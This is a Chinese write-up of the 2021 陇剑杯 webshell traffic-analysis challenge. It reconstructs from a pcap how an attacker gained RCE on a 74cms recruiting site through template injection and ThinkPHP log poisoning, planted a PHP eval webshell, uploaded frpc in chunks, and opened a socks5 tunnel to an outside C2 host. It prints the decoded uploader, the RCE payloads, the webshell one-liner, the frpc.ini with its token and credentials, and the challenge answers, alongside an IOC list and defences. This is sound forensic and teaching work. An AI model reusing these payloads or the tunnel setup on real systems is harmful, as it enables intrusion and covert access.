1141 字
6 分钟
[陇剑杯 2021]webshell 流量分析:从 getshell 到 frp 隧道植入

从 pcap 还原一次完整的 getshell 与 frp 隧道植入#

起因#

手里有两个文件:

  • aaa(1MB):纯 ASCII、无换行的超长文本,打开头几 KB 就是 aaa=%40ini_set(...),明显是 urlencoded 的 HTTP POST 请求体
  • hack.pcap(21MB):1671 个包、约 9 分钟的抓包

直觉是”aaa 是个 webshell”——看下去才发现它只是冰山一角:aaa 是 webshell 上传 frpc 时的某一个 512000 字节分片,pcap 里才是完整的案发现场。

aaa 解码:一句话分片上传器#

POST body 只有 3 个参数:

参数内容
aaaURL 编码的 PHP 一句话(分片上传器变种)
j68071301598fGC + base64 → /var/www/html/frpc(目标路径,2 字节随机前缀防特征)
xa5d606e67883a1024000 个 hex 字符 = 512000 字节二进制分片

PHP 代码解码后:

@ini_set("display_errors", "0");@set_time_limit(0);
function asenc($out){return $out;}
function asoutput(){
$output=ob_get_contents();ob_end_clean();
echo "481db"."0d0758"; // 随机标记头
echo @asenc($output);
echo "273f6"."e2ac1"; // 随机标记尾
}
ob_start();
try{
$f = base64_decode(substr($_POST["j68071301598f"], 2));
$c = $_POST["xa5d606e67883a"];
$c = str_replace(["\r","\n"], "", $c);
$buf = "";
for($i=0;$i<strlen($c);$i+=2) $buf .= urldecode("%".substr($c,$i,2)); // hex → bin
echo @fwrite(fopen($f,"a"), $buf) ? "1" : "0"; // 追加写入
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput(); die();

典型蚁剑/冰蝎风格的 分片文件上传原语:标记头尾包裹输出、路径 base64 混淆、数据 hex 编码、fopen(...,"a") 追加。配合 pcap 里其他同样式的请求(取 cwd、列目录),确认是菜刀(Caidao)协议系的客户端。

pcap 还原的攻击链#

目标是一套 骑士 CMS(QSCMS / 74cms) 招聘站,跑在 Docker 容器里(loopback 8081,容器 IP 172.17.0.2,主机名 766b512f452f,2021-08-07)。

时间动作
t≈0s正常浏览站点首页
t≈11sMembers&a=logintest / Admin123!@# 登录(注册用户身份)
t=163~396sassign_resume_tpl 前台 RCE
t≈396s写入一句话马 /var/www/html/1.php(29 字节)
t=402sGET /1.php → 200,确认存活
t=421~424s菜刀连接:取 cwd、内核信息、列目录
t=538s写入 frpc.ini(240 字节)
t=549~553s分 20 片上传 frpc(frp v2.2.1,Go 静态 ELF,9,973,760 字节),aaa 即其中一片
t≈554s最后一次列目录确认 frpc 已就位

RCE 细节:ThinkPHP 日志文件当模板 include#

assign_resume_tpl 的参数 tpl 可以指向任意文件路径,配合 variable=1 走模板渲染分支。攻击者前两次尝试的是经典模板注入 payload:

variable=1&tpl=<?php eval($_REQUEST[a]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

随后换成了更稳的 ThinkPHP 日志投毒:把 tpl 指向运行时日志 data/Runtime/Logs/Home/21_08_07.log,再用 aaa=system('...') 参数执行命令——命令输出会回显在”模板不存在”错误页里

ERR: 模板不存在:./Application/Home/View/default/www-data ← system('whoami')
ERR: 模板不存在:./Application/Home/View/default/eth0 ... ← system('ifconfig')
ERR: 模板不存在:./Application/Home/View/default//var/www/html ← system('pwd')

侦察结果:www-data / 172.17.0.2 / /var/www/html

最后一步落马:

echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php

base64 解码即 <?php eval($_REQUEST[aaa]);?>(29 字节,与目录列表里 1.php 的 size 吻合)。

frpc.ini:socks5 隧道配置#

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv
[test_sock5]
type = tcp
remote_port = 8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

攻击者在受害者容器里植入 frp client,向 C2 192.168.239.123:7778 建立加密隧道,在远端开放 8111 端口 socks5 代理(凭据 0HDFt16cLQJ / JTN276Gp),用受害主机当跳板做内网漫游。

题目原问与答案([陇剑杯 2021]webshell)#

单位网站被黑客挂马,请您从流量中分析出 webshell,进行回答:

  1. 黑客登录系统使用的密码是Admin123!@#POST /index.php?m=Home&c=Members&a=login,body:username=test&password=Admin123!@#&expire=0
  2. 黑客修改了一个日志文件,文件的绝对路径为/var/www/html/data/Runtime/Logs/Home/21_08_07.log (tpl 参数传的是相对路径 data/Runtime/Logs/Home/21_08_07.log,webroot 为 /var/www/html提交时要补全绝对路径——这是本题最常见的丢分点)
  3. 黑客获取 webshell 之后的权限是www-datasystem('whoami') 回显在”模板不存在”错误页里)
  4. 黑客写入的 webshell 文件名是1.php/var/www/html/1.php,29 字节,内容 <?php eval($_REQUEST[aaa]);?>
  5. 黑客上传的代理工具客户端名字是frpc (frp v2.2.1,Go 静态 ELF,9,973,760 字节,分 20 片上传)
  6. 黑客代理工具的回连服务端 IP 是192.168.239.123 (frpc.ini 的 server_addr,端口 7778)
  7. 黑客 socks5 的连接账号、密码是0HDFt16cLQJ#JTN276Gp (frpc.ini 的 plugin_user / plugin_passwd,中间用 # 隔开)

IOC 汇总#

  • 漏洞点:骑士CMS assign_resume_tpl 前台 RCE(模板路径可控 + 日志投毒)
  • Webshell:/var/www/html/1.php = <?php eval($_REQUEST[aaa]);?>
  • 落地文件:/var/www/html/frpc(frp v2.2.1, Go 静态 ELF, 9973760B)、/var/www/html/frpc.ini
  • C2:192.168.239.123:7778(frps),token Xa3BJf2l5enmN6Z7A8mv
  • socks5:remote_port 8111,user 0HDFt16cLQJ / pass JTN276Gp
  • 登录凭据:test / Admin123!@#

防御建议#

  1. 升级/修补骑士CMS assign_resume_tpl 等前台模板相关接口,禁用模板路径参数化
  2. ThinkPHP 运行日志目录(data/Runtime/Logs/)禁止被当模板渲染——框架层限制 display() 只接受白名单目录
  3. 监控 Web 目录下可疑新增文件(1.php 这种一句话、frpc 这种二进制、*.ini 隧道配置)
  4. 出站连接白名单,重点告警到非常见端口(7778)的 frp 类隧道流量
  5. 容器最小权限 + 运行时文件完整性监控,防分片上传类 webshell 持续写入